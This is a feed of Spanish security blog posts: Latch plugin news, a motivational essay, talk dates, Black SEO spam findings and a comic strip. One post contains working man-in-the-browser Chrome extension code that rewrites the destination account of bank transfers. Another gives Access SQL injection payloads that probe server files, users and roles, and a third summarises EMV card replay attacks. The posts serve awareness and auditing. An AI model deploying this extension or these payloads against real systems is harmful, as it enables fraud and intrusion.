Quantcast
Channel: Un informático en el lado del mal
Viewing all 4226 articles
Browse latest View live

Latch para Ubuntu y Latch para Open-Xchange disponibles

$
0
0
La semana pasada, durante la última actualización de la web de Latch, se publicaron nuevos plugins para integrar fácilmente Latch dentro de distintas plataformas. En esta ocasión se ha puesto disponible Latch para Ubuntu y Latch para Open X-Change

Figura 1: Montaje publicado en Twitter sobre víctimas sin Latch en el juego WathcDogs

En el caso de Latch para Open-XChange se ha testeado con la versión de Open-XChange 7.4.2 y los pre-requisitos y el proceso de instalación lo tenéis detallado en la guía de ayuda de instalación. Para el uso de Latch para Ubuntu, una vez instalado el plugin como se detalla en la guía de instalación, basta con utilizar el comando pairSYS Temporary_Token o bien usar un sencillo GUI que se ha creado para realizar la tarea.

Figura 2: Latch para Ubuntu, guía de instalación y uso

Además de estos nuevos plugins, el plugin de Latch para WordPress ya lo tenéis publicado en el repositorio oficial de WordPress, desde donde podéis descargarlo también.

Figura 3: Plugin de Latch en el repositorio oficial de WordPress

En breve publicaremos las nuevas guías de Latch para los nuevos plugins, que pondremos junto al resto de tutoriales de instalación en el canal SlideShare de Eleven Paths con las que ya están disponibles:
- Latch para WordPress
- Latch para PrestaShop
- Latch para Joomla!
- Latch para Drupal 7
- Latch para Drupal 6
- Latch en Aplicaciones .NET
También, tienes para usar los siguientes plugins y herramientas:
- Latch para DotNetNuke
- Latch para RedMine
- Latch para OpenVPN
- Latch para SquirrelMail
- Latch para OpenSSH
- Latch Event Monitor
Y los siguientes SDKs para que integres cualquier aplicación con Latch:
- Latch SDK para Java
- Latch SDK para .NET
- Latch SDK para PHP
- Latch SDK para Ruby
- Latch SDK para Python
- Latch SDK para C
- Latch SDK para PowerShell
Recuerda que si quieres comenzar a utilizar Latch en tu vida, tienes este pequeño artículo que te explica cómo empezar a utilizar Latch para proteger tus identidades digitales desde ya.

Saludos Malignos!

¿Por qué no vas a poder transformar tu realidad?

$
0
0
Me encanta la ciudad de Santander, con su aire británico. Disfruto como nada del albariño, el marisco y los pimientos de Padrón en Galicia. Las tardes en la ciudad de Salamanca son distinguidas. Un té o un café en la plaza y conectarse a Internet para trabajar me dieron momentos de relax únicos. En Pamplona me encanta tomar unas cañas en la plaza del Castillo y cuando paso por Murcia es obligatorio comer un poco verduritas ricas, ricas. Los tomates raf en Almería y las playas enviando su aroma salado a la ciudad y a la universidad crean un olor que solo tiene esa ciudad.

La lista de recuerdos y momentos que guardo de España es casi interminable. Las cenas en los restaurantes de Barcelona, los flamenquines en Sevilla y los vinos en la feria de Jerez. Una ración de jamón ibérico por Extremadura y unas gambitas en Punta Umbria bañándome en el Atlántico. Los vinos de la Ribera del Duero y las tapas en Valladolid o Ávila, los zuritos por Bilbao, la calle del Laurel con sus copas de buen vino de Rioja en Logroño y el "marisco" de Burgos con sus morcillas de arroz y chuletones en Vivar de Cid. La vida única en Gran Canarias y volver de Palma de Mallorca con las ensaimadas. Valencia y sus fallas. Una parada a comer en El Pilar y cenamos en El Tabernillas.

Cartagena, Palencia, Lugo, Málaga, Orense, mi Alicante, Santiago de Compostela, Castellón o la vida fantástica que se respira en Oviedo. Creo que he pasado por casi todas las provincias de España, disfrutando lo que he podido de cada una de ellas. He disfrutado de chupinazos en San Fermines, me he escapado a las Islas Cies y a Cabo de Gata. Me he bañado en el Río Piedras y en el puerto de Cádiz. He cenado en Lleida y tomado copas en Girona. He hecho acampadas en Ávila y he descencido el Alto Tajo en barcas. He hecho Snow Board en Vaqueira y hasta en La Covatilla. Y me lo he pasado genial.

Dicho esto, soy de Madrid. De esa zona en el centro del mundo donde nadie es extranjero. Donde nadie es de fuera. Donde si vienes a Madrid, ya eres de Madrid sin importar donde nacieras, o si eres rojo, verde, azul, negro o amarillo. No soy gato. Mi padre sí nació en Madrid, pero a partir de ahí mis raíces se pierden por los rincones de las Españas. Será por eso que me siento bien en cualquiera de las zonas que he visitado de España y con cualquiera que me dice "que pá!" me junto para tomar una cerveza.

Es por eso que a pesar de haber viajado mucho por dentro y por fuera de España, siempre he querido quedarme aquí. No tener que salir de mi tierra como muchos otros compañeros de profesión, que buscando mejores oportunidades han emigrado a tierras más frías, donde se come peor, y en la que las cosas son distintas - mucho mejores para unas cosas, pero distintas para otras -.

Si aún estás aquí en España, estas aún estudiando, y amas la vida en el trocito de terruño que llamas casa, este artículo es para ti. Si estás en otro país del mundo en la misma situación, también puedes aplicarte este artículo, pero cambiando sensaciones y lugares por los tuyos. Pues lo único que quiero con este artículo es que valores un poco más tus opciones.

Es verdad que fuera de España hay más dinero y fondos de inversión, y que si comparamos las oportunidades laborales que hay en las grandes urbes como Madrid o Barcelona, con respecto al resto de regiones de España son desiguales, pero aún así, tú puedes cambiar tus opciones.

Si tienes Internet, un ordenador, tiempo y ganas de transformar tu realidad, ¿qué más da que estés conectado desde tu barrio o desde el centro de Madrid? Sí, sé que no será nada fácil comenzar, pero no lo es para nadie, así que no te preocupes si lo ves difícil al principio. Es normal que lo veas así, porque no es que sea difícil, es casi imposible, tan imposible, que solo los locos se creen que pueden conseguirlo. Pero es que si no crees que vas a conseguirlo, entonces no estás loco lo suficiente como para cambiar tu destino.

Si lo estás, y tienes conexión a Internet, juventud suficiente como para poder equivocarte, tiempo para aprender, probar, leer, estudiar y formarte lo suficiente, y ganas, tesón y constancia como para trabajar todo lo que tengas que trabajar y sacrificarte lo que tengas que sacrificarte, entonces tal vez tengas una entre un millón de posibilidades.

Después, aprende a reconocer que te has equivocado, que has errado, que no era ese el camino, y vuelve a comenzar otra vez desde el principio con otra idea. No te preocupes, Steve Jobs también la pifió muchas veces, así que tú te lo puedes permitir y aún así transformar el mundo.

Si necesitas trabajar con gente de otros sitios, ya sabes que hay muchos sistemas de video conferencia - nosotros los usamos a diario en Eleven Paths para coordinarnos entre Londres, Madrid, Málaga y San Sebastián - y hablar con los CSA en latinoamérica. Si necesitas servidores potentes tienes los servicios Cloud de muchas empresas que te van a dar más potencia de la que tú puedas montar en cualquier ciudad.

Al final, lo más costoso de toda gran empresa son las ideas, los conocimientos técnicos, los recursos humanos valiosos, gente que sepa programar muy bien. No muy bien. Genial. Que sepan mucho de arquitectura de software, de hacer software escalable, mantenible, usable. De crear algo que mejore la vida de alguien, que la haga más divertida, más cómoda, más fácil. Fijándose en los pequeños detalles, en los rincones del producto o el servicio. Que versión a versión el producto mejore. Sí, no va a ser fácil. ¿Qué pensabas que te iban a dar todo resuelto?

Pero... ¿por qué el próximo Twitter no va a nacer en un pueblo de Andalucía? o ¿por qué la nueva herramienta killer de hacer auditoría WiFi no va a estar hecha en Santiago de Compostela? ¿Por que nació Barrabés en Huesca y no puede nacer la próxima killer e-shop en esa ciudad de Murcia donde vives? ¿Por qué el próximo flappy bird no lo van a hacer dos chavales de la Universidad de Cáceres? ¿Por qué no lo vas a hacer tú? Desde luego, si no lo intentas, la respuesta es no.

Ahora estás en plenos exámenes, pero en cuanto acabes... ¿por qué no te pones a ello? Estés donde estés. Levántate por las mañanas, coge un libro para mejorar tus conocimientos, júntate con tu amig@/s y poneos un objetivo. No empieces a hablar de dinero, CEO, CTO y cosas así. Solo piensa en disfrutar de esto y trabajar. En llevarte a extremos de ti a los que aún no has llegado.

Sí, yo creo que serás capaz. ¿Por qué no? Si a mí me hubieran dicho que alguna vez iba a salir de España para dar una charla cuando bajaba a pasear a mi perro y leía libros de Stephen King y Ciencia Ficción en los bancos del parque nunca me lo hubiera creído. Así que créetelo tú. No desaproveches tu tiempo, no desaproveches tu energía. Tienes más potencial de lo que crees - me puesto el gorro -, así que trabaja duro y sácalo. Y si no sale a la primera, haz balance y descubre todo lo que has aprendido. Y vuelve a intentarlo. Otra y otra vez, pero en todas esas veces poniendo el 100% de verdad. Sin engañarte a ti mismo. Dándolo todo.

El premio al final puede ser algo tan sencillo y tan complejo como que transformes un poco el mundo para que sigas disfrutando de todas esas cosas tan bonitas que tiene tu tierra. Tu familia, tus amigos, tu río, tu montaña, tus fiestas, tus comidas, tu forma de vida. Algo así, como lo que os conté que a mí me pasa con mi Madrid del alma.

Saludos Malignos!

Un abogado, un man in the browser y un side-chanel

$
0
0
Un día fui a comer con unos amigos y me encontré con mi amigo John Doe que es licenciado y experto en legislación aplicada a la seguridad informática. Estudió en un país lejano, desconozco si en nuestro país se imparte esta carrera. Y yo soy un híbrido entre administrador y programador de aplicaciones de servidor en el lado del código abierto - anti nada pero no estoy familiarizado con Microsoft.

Mi amigo John Doe estaba trabajando para entidades bancarias locales y me dijo algo como "Mis clientes están muy seguros de sí mismos, con las nuevas implementaciones en materia de seguridad cualquier mecanismo intermedio entre un usuario y la entidad es detectado y perseguido". Lo que para mis oídos significa "A que no encuentras la manera de contradecir esta afirmación". Ya me faltaba tiempo para llegar a casa...

Detectar cosas en medio de una conexión entre el cliente y el servidor exige, obligatoriamente, un side-channel. Si no puedes controlar el 100 % de la comunicación, entonces estás obligado a trabajar con canales paralelos como los terminales móviles - como hace Latch -, con los tokens hardware que sirven para teclear información que no deba ir desde el navegador de Internet, o usar caminos de covert-channels, como el que se uso en Facebook para analizar los certificados digitales usando un truco de Flash poco conocido.

Lo más complicado cuesta muchas horas, y no me sobran, así que intentaría algo sencillo, una prueba de concepto para romper la afirmación. Una cosa sencilla y que pueda probar en casa sin levantar sospechas, y evitar las pruebas en el entorno real, o al menos, evitar ser detectado controlando el lado cliente, así que probé con Javascript.

La idea de hacer un Frame envolviendo la página del banco e interactuar con el contenido se esfumó después de pelear unas horas contra la Política del mismo origen y me di por vencido. No conseguiría saltarme la política en la mayoría de los exploradores como era mi intención.

Entonces se me ocurrió probar con una extensión del explorador, como hacen desde hace tiempo muchos bichos malos para hacer un Man in the Browser en sus esquemas de Fraude Online. Quería ver si sería difícil hacer esa extensión maliciosa. Y funcionó. Con una extensión se puede obtener y modificar el contenido de cualquier Frame. El manifest.json le indica lo siguiente:
"content_scripts":
[

{
     "matches": ["https://*.bancomalo.com/*",
                    "https://*.bancomalo.es/*"],

                    "js": ["js/evil_in_bancomalo.js"],
                    "all_frames": true
}
]
Lo siguiente fue coser y cantar, seguir la guía de programación de extensiones para Chrome y añadir el bicho "evil_in_bancomalo.js". Hay que decir que a lo mejor hice más de la cuenta, pero habiendo hecho mil pruebas para saltarme la Política del mismo sitio, me gustaba la idea de la función "infectDocument" que imprime la otra función en todos los frames:
/**
* frame infection
*/
 
function infectDocument() {
var frameHead = document.getElementsByTagName('head')[0];
var newScript = document.createElement('script');
newScript.type = 'text/javascript';
newScript.innerHTML = anchorAttach();
frameHead.appendChild(newScript);
}
/**
* attaching function for all anchor
*/

function anchorAttach() {
for ( var els = document.getElementsByTagName('a'), i = els.length; i--;)
{

     switch(els[i].textContent || els[i].innerText) {
     case 'Continuar':
       els[i].onclick = function ()
       {

       if (document.getElementById('Campo_Entidad').value)
       {

       document.getElementById('Campo_Entidad').value = '0XXX';
       document.getElementById('Campo_Oficina').value = '1XXX';
       document.getElementById('Campo_DC').value = '95';
       document.getElementById('Campo_Cuenta').value = '281186XXXX';
       }
      };
    break;
}
}
}
// run
infectDocument();
¿Qué hace esta extensión?

Muy sencillo, un usuario tiene instalada la extensión y entra en la página de su banco bancomalo.com. La extensión se activa cuando encuentra el campo del formulario llamado "Campo_Entidad" justo en el formulario para hacer transferencias y donde el usuario escribe su número de cuenta destinataria, el bicho escribe otra.

En la página de confirmación también se podría programar un truco usando la memoria del explorador para mostrarle el número que había indicado el propio usuario, pero el formulario enviaría el dinero a la cuenta que el bicho le indica. El usuario sin darse cuenta pasaría todos los controles de seguridad y números secretos hasta aceptar la transferencia a un número de cuenta al que realmente no quiere enviar el dinero.

La única solución vuelve al inicio. Contar con un side-channel que le envíe a los usuarios vía SMS, vía app para smartphone o vía token hardware la información de la transacción para que el usuario pueda ver por un canal no controlado por el malware lo que va a realizar. No olvidéis que mi amigo era abogado al fin y al cabo.

Por supuesto, para acabar con estas extensiones maliciosas en este ataque concreto los navegadores permiten abrirse en modo seguro sin cargar ninguna extensión, así que si quieres evitar estos ataques, revisa cómo está configurado tu navegador.

Autor: Jaume M.

Próximas charlas por España: Zaragoza, Pamplona y Burgos

$
0
0
No sé si serán las últimas charlas que de antes de que se de el parón veraniego que pienso tener este año, pero por si acaso os pilla bien, os dejo las fechas de las próximas conferencias que voy a dar por España, que son:

Zaragoza - 11 de Junio - Foro Ausape 2014

Es un evento que creo que no es abierto al público y que ya está lleno a rebosar, pero por si acaso os dejo la información. Daré una charla de alguna cosa divertida... pero todavía no he pensado qué. Este fin de semana tengo en mi lista de tareas hacer esa presentación.

Más información: Foro Ausape 2014


Pamplona - 12 de Junio - Seguridad Digital en las empresas

Con mis compañeros de Telefónica y junto al Diario de Navarra, el día 12 estaré en mi querida Pamplona otra vez. ¡Hace tiempo que no iba! La charla está publicada en el Diario de Navarra, pero para registrarse creo que hay que pedirlo como explica la invitación.

Figura 1: Seguridad digital en las empresas 12 de Junio en Pamplona

Burgos - 26 de Junio - Gamonal

Me liaron para ir a Burgos a dar una charla, así que el día 26 de Junio, a las 19:00 horas, estaré dando una ponencia en el barrio de Gamonal. La charla será de seguridad y esas cosas, pero tampoco tengo claro aún de qué voy a hablar. Según me pille el día.

Figura 2: Charla en Burgos el día 26 de Junio

Y eso es todo por ahora, la verdad es que este verano necesito descansar un poco que el próximo mes me toca dar clase todos los fines de semana en el Master de Seguridad de la UEM, revisar los Proyectos de Fin de Master que me han hecho y mis horas libres serán muy pocas. También estaré todos los martes en La Mañana con Javi Nieves unos minutos, a las 10:15 o a las 11:15.

Saludos Malignos!

Black SEO: Viagra y piratería aún campan por España

$
0
0
Ayer leí el post de Security Art Work que hablaba sobre cómo había sitios con Joomla explotados para hacer campañas de Black SEO a favor de las famosas farmacias online de Viagra - Si tu sitio es un Joomla de los afectados, además de limpiar y parchear, acuérdate de poner el plugin de Latch para Joomla del tirón - Del tema del BlackSEO y el Colacking hace tiempo que se habló por aquí, en el artículo de Técnicas de SEO para gente de moral relajada.

Figura 1: Sitios con la cadena "Cheap Viagra" en España

Para saber si tu sitio se ve afectado por estas técnicas, yo escribí un pequeño post largo ha titulado "Jodido por la viagra", donde te invito a que busques en Google o Bing si tu sitio (o el de alguno de tus clientes) sale en los resultados en búsquedas como "cheap viagra" o "cheap adobe" o "cheap cialis" o "cheap Windows", etcétera.  Viendo lo de ayer, busqué algunos de los sitios que aún quedan en España, y salen más de 200.000 enlaces a sitios de la Viagra.

Figura 2: Un anuncio de viagra en la web del Albacete Balompié

Algunos de ellos, tan curiosos como el del Albacete Balompié Club de Fútbol, o sindicatos de estudiantes, páginas de instituciones gubernamentales, etc... Solo echando un vistazo rápido en España.

Figura 3: Un colegio jesuita con anuncio de Viagra

Muchos de ellos hacen cloacking y solo funcionan cuando el USER-AGENT es el bot de Google y otros hacer cloacking y solo funcionan cuando es un enlace que viene con el HTTP Referer de Google, con lo que hay que hacer clic siempre en los resultados de Google para garantizar que vas a ver la pagina que buscas.

Figura 4: Solo muestra la tienda si haces clic en el enlace de Google. Comprueba el Referer

Nosotros en nuestro sistema de pentesting persistenteFaast, la búsqueda de Black SEO la realizamos de forma rutinaria, para ello hacemos las búsquedas necesarias para ver si uno de los dominios monitorizados aparece. Con FOCA, uno de los trucos que se explica en el libro de Pentesting con FOCA, es que configures el la búsqueda de Directory Listing añadiendo un patrón que sea "Viagra". Si la web tiene algún referencia a "Viagra" inyectada, entonces lo descubrirá.

Saludos Malignos!

No Lusers 172: Falso Positivo

$
0
0
Me encanta el cabeza de red. El trepamuros. El amigable vecino Spiderman. El hombre araña. El charlatán que hay bajo la máscara. No sé si me gustan más los chistes malos que hace o ese sentido arácnido que le avisa de los peligros. ¿No os gustaría tenerlo a vosotros? Pero como todas las medidas de seguridad, puede fallar, y tener falsos positivos.

Figura 1: No Lusers 172 - Falso Positivo

A pesar de que tengo ya una edad, sigo comprando cómics. El último, uno nuevo del legendario JAN, SuperLópez y el Super Grupo - esas vulgares copias que tanto adoro - y es que en el fondo me siento cercano a las declaraciones del gran Stan Lee.

Figura 2: Stan Lee en declaraciones sobre si los cómics en papel desaparecerán

Os deseo que tengáis un domingo espectacular - y que gane Rafa Nadal un nuevo Roland Garros que estoy dispuesto a dedicarle otro No Lusers como el que ya le dediqué -. Recordad que este es el último fin de semana antes del Mundial de Fútbol, así que haced todo lo que tengáis que hacer antes de que comience, que después del día 12... 

Saludos Malignos!

Explotar SQL Injection en Access para atacar Windows

$
0
0
Cuando en una auditoría de seguridad te toca lidiar con una vulnerabilidad SQL Injection en la que la base de datos está almacenada en un motor JET de Microsoft Access las herramientas con las que hay que trabajar son muy distintas a las del resto de los motores de bases de datos. No es que cuando te enfrentes a un Microsoft SQL Server, un Oracle Database o un MySQL sean las cosas exactamente iguales en ellos, pero la ausencia de un diccionario de datos que consultar como los esquemas de Oracle o la no existencia de procedimientos almacenados como los que hay en Transact-SQL hacen las cosas siempre un poco más difíciles.


Figura 1: Codemotion 2013 - Feliz 15 aniversario SQL Injection

En la charla que di en el pasado Codemotion que os dejo por aquí hago un repaso a las principales técnicas de SQL Injection durante los últimos 15 años, y si quieres aprender bien las técnicas de SQL Injection puedes leer el libro de Hacking de Aplicaciones Web: SQL Injection.

SQL Injection en Microsoft Access

En uno de esos sitios me topé con SQL Injectionin-band en el que era posible construir una consulta de inyección con un UNION. Hacer esto había sido fácil porque el truco para hacerlo es sencillo y lo había utilizado ya para hacer las consultas pesadas en el trabajo de Time-Based Blind SQL Injection using Heavy Queries sobre Access. Solo debía tirar sobre una de las tablas que existen en las bases de datos y que pueden utilizarse en una consulta SQL

En este caso la tabla que utilicé fue MSysAccessObjects que está disponible en las versiones de Microsoft Access 97 o Microsoft Access 2000, ya que en 2003 y 2007 esa tabla fue cambiada por otras. La lista de tablas que hay en cada versión de MS Access 97 a MS Acces 2007 - a partir de MS Access 2010 el formato dejó de ser mdb - está disponible en muchos sitios. Yo tiré de este tutorial de Net_Spy. Como se puede ver, aunque cada versión tiene una lista de tablas comunes, solo son utilizables en una consulta SQL aquellas que tienen el carácter asterisco a su lado.

Figura 2: Tablas disponibles en las versiones de Microsoft Access 97 a 2007

Una vez que está construida la consulta de inyección SQLi con el UNION usando constantes y apoyándonos en una tabla conocida como MSysAccessObjects, el siguiente paso es descubrir las tablas que forman parte de esa base de datos, para lo que se debe tirar a los sospechosos habituales - como users, users, customers, clients, usuarios, etcétera -.

En mi caso, no hubo suerte con los sospechosos habituales, así que había que pasar a tirar un diccionario con una buena cantidad de palabras porque no había encontrado ninguna. Esto puede pasar muchas veces. Si el dueño de la base de datos ha decidido utilizar una nomenclatura del tipo tablaAppCompras_usuarios, te puedes hacer anciano esperando a descubrir una de esas tablas. Ese es el problema de no tener un diccionario de datos que se pueda consultar en el motor. 

Si se hubiera descubierto el nombre de las tablas, luego se puede abusar de los mensajes de error que se obtienen al usar la claúsula Group BY, o bien volver hacer un ataque de diccionario otra vez contra los campos de las tablas. En este caso en concreto solo fui capaz de sacar el nombre de unos campos de la tabla con ataques out-band generando mensajes de error del motor JET.

No obstante, en Microsoft Access se pueden hacer cosas muy chulas fuera del motor de la base de datos, que paso a detallaros, ya que os pueden venir bien en una auditoría en el futuro. Todos ellos son ataques out-band que se apoyan en el mensaje de error del motor JET de Microsoft Access.

Descubrir si un fichero existe y/o si está en uso

En el lenguaje SQL de Microsoft Access se puede hacer uso del operador IN para especificar que una tabla se encuentra dentro de otro fichero mdb de Microsoft Access. Es decir, es posible hacer una consulta que haga JOIN entre dos tablas y que cada una de ellas se encuentre en un fichero .mdb distinto. La consulta es tan sencilla como:
and exists (Select 1,2,3 from MSysAccessObjects IN 'autoexec.bat')
Poniendo el nombre de cualquier fichero - no importa si el fichero no es de bases de datos Microsoft Access - recibiremos un error distinto en tres situaciones posibles:

a) El fichero no existe

Figura 3: error al usar "and exists (Select 1 from MSysAccessObjects in 'foca.foca')

b) El fichero existe pero está en uso y no se puede abrir

Figura 4: El fichero boot.ini existe pero no se puede abrir

c) El fichero existe, se puede abrir, pero no es una base de datos Access

Figura 5: error al usar "and exists (Select 1 from MSysAccessObjects in 'autoexec.bat')

Por desgracia, yo me he encontrado con algunas limitaciones con estas inyecciones, que paso a detallaros:
1.- No es posible cambiar de unidad, así que si la base de datos del motor JET está en la unidad C:, este truco te permitirá listar solo ficheros de esa unidad. 
2.- No se pueden listar ficheros sin extensión. El error que he obtenido ha sido siempre el mismo con ficheros que sé que existen y con ficheros que se que no existen. 
3.- No funciona para listar directorios. Si se intenta usar para saber si un directorio existe o no, solo se puede hacer con algún fichero que se conozca que está dentro. Si no, el mensaje de error que se obtiene es siempre el mismo. 
4.- No se pueden utilizar comodines * o ? para escribir el nombre de los ficheros. 
5.- No se pueden utilizar las variables de entorno tipo %USERDIR%, %WINDIR%, etcétera.
Sacar los datos de un fichero mdb en el mismo servidor

En los ejemplos anteriores se ha supuesto que el objetivo era conocer la existencia o no de un fichero, pero si se descubriera otro fichero mdb de otra aplicación en el sistema. Se podría extraer toda la información de la misma usando como base la conectada a la aplicación con SQL Injection que se está utilizando para lanzar el ataque.

Figura 6: Extraer datos de otra base de datos mdb no expuesta a Internet

Sacar la lista de usuarios de un sistema Windows

Aprovechándome de esta función de listar ficheros, decidí que un buen truco sería listar ficheros de los perfiles de los usuarios que existieran. En este caso, se puede ver que tirando del directorio de Default User es cómodo construir alguna consulta con algún fichero de los perfiles de usuario.

Figura 7: Ruta al perfil de Default User

En este ejemplo usé NTUSer.dat para tener un fichero sobre el que apoyarme y luego ir cambiando el nombre de los usuarios. Como puede verse, el usuario Administrator existe.

Figura 8: Ruta al perfil del Administrador. Existe y está en uso, lo que significa que la sesión está abierta.

El resto es lanzar un diccionario con los nombres de usuario para tener la lista completa y, por supuesto, aprovecharse de los nombres de usuarios que FOCA hubiera descubierto de los metadatos de los documentos del sitio web.

Descubrir si un fichero existe y/o si está en uso usando formato de nombres 8:3

Acordándome del bug de IIS Shortname se me ocurrió que podría ser buena idea intentar localizar nombres de ficheros de más de 8 caracteres usando la codificación 8:3. Esto haría que fuera bastante más reducido el tiempo con un intento de descubrir ficheros de una carpeta, sobre todo si se va a hacer un ataque de fuerza bruta.

Figura 9: Ruta al perfil de Default User con nombres 8:3

Para comprobarlo, utilicé de nuevo el fichero de perfil de Default User y como se puede ver es posible, por lo que para hacer un ataque de fuerza bruta a la lista de usuarios se simplificaría un poco. Se podría haber hecho de igual forma con el usuario Admini~1, y volveríamos a ver que el fichero está en uso.

Figura 10: Ruta al perfil del Administrador en nombres 8:3

No solo ayuda a reducir el número de ataques, sino a reducir el tamaño de la URL inyectada, lo que siempre viene bien para evitar cualquier límite de tamaño que pudiera existir.

Listar el software instalado en el servidor

Con la misma idea de reconocer usuarios del sistema por los ficheros de su perfil, se podría hacer un listado del software instalado en el equipo - y el que está en arrancado por los errores de acceso en uso - buscando los ficheros de los programas. Para ello habría que tener una lista de rutas de instalación por defecto de los programas más comunes y buscarlos.

Figura 11: Ruta de instalación por defecto de WinZip. No está en el sistema

Si los programas están instalados en otra unidad o están en rutas distintas esto no valdría, pero si se conoce el software se podría intentar preparar, por ejemplo un ataque de evil grade o un exploiting concreto conociendo la existencia de un software vulnerable sin actualizar.

Descubrir la ruta de instalación del servidor web

Otro de las fugas de información que se pueden aprovechar con los errores JET es el del path de instalación del motor en el servicio web. No es la ruta en la que se encuentra el fichero mdb de la base de datos Microsoft Access, pero sí que da información más que suficiente para conocer con qué servidor Windows se está lidiando.

Figura 12: Local path disclosure al buscar en foca.foca

Para conseguirlo solo hay que hacer una consulta SQL inyectada similar a esta:
and exists (Select 1,2,3 from fake_database.fake_table) 
Al no existir el fichero fake_database con una base de datos Microsoft Access en la carpeta donde se encuentra la base de datos actual, se produce un error que muestra la ruta local al servicio IIS.

Listar los roles del servidor. ¿Es un Controlador de Dominio?

Los archivos que tiene un servidor Windows sirven también para identificar los roles que tiene un servidor Windows asignado. Si tiene un servicio DHCP, un servicio DNS o si es un controlador de domino.

Figura 13: Petición de la base de datos de Active Directory. No está disponible.

Por ejemplo, para saber si es un Active Directory se podría buscar la base de datos NTDIS.Dat en la ruta en la que se configura. En este caso no tiene asignado este rol.

Descubrir el nombre del fichero de la base de datos

Uno de los ataques más fáciles de realizar a sistemas que usan como repositorio de datos un fichero mdb de Microsoft Access, es descargar el fichero completo. Para ello hay que averiguar dos cosas que son, el directorio donde se almacena - que deberá ser público para poder descargarlo- y el nombre del fichero.

Si esto se hace en dos fases en lugar de en una, el proceso es un poco más sencillo. Averiguar el nombre del fichero, sin importar el directorio en el que esté, se puede hacer haciendo uso de una consulta inyectada similar a la anterior, pero en lugar de usar una fake_database, usar uno de los nombres posibles:
and exists (Select 1,2,3 from fichero.tabla_existente)
esto permite que se obtenga un error cuando el fichero no exista se obtenga un error que indica que ese fichero mdb no está allí.  Si existe, se conseguirá otra respuesta de la base de datos, en este caso un mensaje de syntax error porque la inyección se ha hecho para forzar el error out-band.

Figura 14: El fichero se llama database.mdb (nada imaginativo)

Una vez conocido el nombre de la base de datos, conocer su ubicación puede realizarse probando en todos los directorios de la web descubiertos con todas las técnicas que ya os dejé en el artículo: Técnicas para descubrir los ficheros de un servidor web.

Una frase para terminar

Un bug de SQL Injection es un fallo muy serio, y si tenemos una base de datos MS Access por medio se pueden hacer muchas cosas en el sistema operativo aunque no seamos capaces de descubrir las tablas de la base de datos. En este caso se ha hecho aprovechando un ataque out-band para ver los mensajes de error de que el fichero existe, la tabla existe, etcétera y errores de sintaxis, pero también se podría haber usado la técnica de Blind SQL Injection o Time-Based Blind SQL Injection using Heavy Queries para generar retardos de tiempo cuando la respuesta fuera correcta.

Saludos Malignos!

Chip & Skim: Ataques de replay a tarjetas de crédito EMV

$
0
0
El mes pasado se hizo público el paper de "Chip & Skim: Clonning EMV with the pre-play attack" y lo tenía pendiente de lectura. Ayer saqué un poco de tiempo para poder leerlo y la verdad es que me ha encantado su lectura, ya que los dos métodos para atacar tarjetas de crédito EMV (Europay, MasterCard and Visa) que proponen son prácticos y realistas tanto en funcionamiento como en posibilidades, así que os voy a hablar un poco de ellos por aquí.

Figura 1: Chip and Skim: Cloning EMV cards with the pre-play attack

Antes de entender los dos ataques que proponen hay que fijarse en el gráfico que describe el flujo de verificación de una transacción entre un cardholder (el dueño de la tarjeta), un terminal de uso de la tarjeta (donde se pone el PIN) y el emisor de la tarjeta (el banco).

El resumen del flujo está en el siguiente diagrama. Si nos fijamos en el intercambio de mensajes se puede ver que tras la verificación inicial en la que se negocia entre el terminal y la tarjeta, llega el momento en el que se requiere del cardholder, es decir, del usuario, la verificación de que los datos de la transacción visualmente y la petición de autorización al issuer de la tarjeta firmando todo con el famoso PIN.

Figura 2: Flujo de mensajes y datos en una transacción EMV

Para ello, el terminal envía los datos de la Transacción "T", que además de llevar la cantidad, la moneda, la fecha y el terminal de venta, lleva un "número no-predecible" el famoso nonce o UN. Con estos datos el chip EMV genera el ARQC (Authorisation Request Cryptogram) que está formado por los datos de la transacción donde va el número nonce, cifrado a partir de las claves que se liberan del chip EMV tras la introducción del PIN que se envía al banco emisor - o a un procesador - de la tarjeta.

Éste valida la transacción y envía al terminal el ARPC (Authorisation Response Cryptogram) y el ARC (Authorisation Response Code), dando por buena la transacción y enviando a la tarjeta la respuesta para que quede constancia del resultado. 

Hasta aquí todo correcto, pero... ¿qué sucede si alguien malicioso es capaz de interceptar datos en alguna parte de la comunicación? ¿Podrá hacer creer al issuer o al terminal de que tiene una tarjeta de crédito EMV correcta cuando no la tiene? De eso va el trabajo que se ha publicado.

Ataque 1: El número nonce no es tan unpredictable

Tras mirar cómo se generan los números nonce en muchos terminales, resulta que la aleatoriedad en la criptografía sigue siendo un problema. Hace poco hablaba del paper que proponía usar la cámara de un smartphone para hacer lecturas de fotones en haces de luces y poder generar números aleatorios de buena calidad. En muchos de los terminales estudiados por este trabajo los números no eran impredecibles ni mucho menos, y muchos usaban contadores con incremento en base a números aleatorios, lo que hacía que no fuera difícil predecir o pre-computar todos los posibles casos.

Figura 3: Esquema de ataque de replay contra aleatoriedad débil.

Para ello, conocida toda la lista, el atacante podría interceptar el tráfico de petición de autorización al issuer, y con una tabla con todos los posibles UN (Unpredictable Number) y sus respuestas de autorización, dar al terminal el OK correcto para la transacción, lo que permitiría, por ejemplo, sacar dinero con una falsa tarjeta EMV. Por supuesto, este ataque solo es posible si se tienen capturadas las respuestas previamente y si se conoce - y es mala - la generación de números nonce del terminal. Si tenemos control de la conexión entre el terminal y el issuer, se puede probar hasta que se obtenga una pre-computada.

Ataque 2: Reutilización de números nonce

Este segundo ataque es todavía más curioso y peculiar, ya que es similar a los ataques que se producen en aplicaciones web cuando los datos que se van a utilizar para cargar el precio de un producto en una tienda se leen desde el cliente. La idea es que cuando el terminal envía el número aleatorio nonce a la tarjeta EMV para generar el ARQC, la tarjeta "maliciosa y falsa" reutiliza un ARQC anterior usando otro número nonce.

Figura 4: Ataque de replay reintroduciendo un ARQC con un UN ya validado

Si el terminal no tiene una verificación correcta de que se ha recibido el número UN correcto, el ARQC que enviará al issuer - al banco en este caso - será con el número enviado por el atacante que ya había sido validado previamente. El banco generará el ARPC correspondiente y el terminal dará por buena la transacción.

Conclusiones

Estos dos ataques se basan en re-usar paquetes ya utilizados previamente para conseguir replicar transacciones como si fueran nuevas. Son ataques complejos, pero realizables y que se basan en detalles técnicos no solventados de forma segura en algunos terminales de uso de las tarjetas EMV (Chip & PIN). Por supuesto, que te clonen una tarjeta EMV sigue siendo varios órdenes de magnitud más difícil que una tarjeta de banda magnética, pero no todos los sitios tienen soporte para EMV ni es totalmente imposible que uno de estos ataques se ponga en práctica por los amigos del fraude.

